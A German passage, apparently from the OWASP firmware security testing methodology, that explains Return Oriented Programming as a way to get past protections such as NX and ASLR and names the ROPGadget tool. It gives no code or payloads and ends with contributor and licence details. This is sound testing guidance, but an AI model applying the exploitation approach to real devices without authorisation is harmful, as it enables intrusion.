Es ist nicht üblich, dass in eingebetteten Systemen binäre Laufzeitschutzmaßnahmen (z. B. NX, DEP, ASLR usw.) vorhanden sind. In diesem Fall sind jedoch möglicherweise zusätzliche Techniken erforderlich, z. B. Return Oriented Programming (ROP). ROP ermöglicht es einem Angreifer, beliebige bösartige Funktionen zu implementieren, indem er vorhandenen Code im Code des Zielprozesses/Binärprogramms, sogenannte Gadgets, verkettet. Es müssen Schritte unternommen werden, um eine identifizierte Schwachstelle wie einen Pufferüberlauf durch Bildung einer ROP-Kette auszunutzen. Ein Tool, das in solchen Situationen nützlich sein kann, ist der Gadget-Finder von Capstone oder ROPGadget – https://github.com/JonathanSalwan/ROPgadget.
Nutzen Sie die folgenden Referenzen zur weiteren Orientierung:
Während der gesamten Firmware-Bewertung wird eine Kombination von Tools verwendet. Nachfolgend sind häufig verwendete Werkzeuge aufgeführt.
Um das Erkennen von Schwachstellen in der Firmware zu üben, verwenden Sie die folgenden anfälligen Firmware-Projekte als Ausgangspunkt.
Feedback und Mitwirken
Wenn Sie einen Beitrag leisten oder Feedback zur Verbesserung dieser Methodik geben möchten, wenden Sie sich an [email protected] (@scriptingxss). Stellen Sie sicher, dass Sie ein Problem oder eine Pull-Anfrage eröffnen, und wir kümmern uns darum!
Besonderer Dank geht an unsere Sponsoren Cisco Meraki, OWASP Inland Empire und OWASP Los Angeles sowie an José Alejandro Rivas Vidal für seine sorgfältige Rezension.
Die vollständige Liste der Mitwirkenden finden Sie unter https://github.com/scriptingxss/owasp-fstm/graphs/contributors.
Lizenz
Creative Commons Attribution teilen gleich 4.0 international
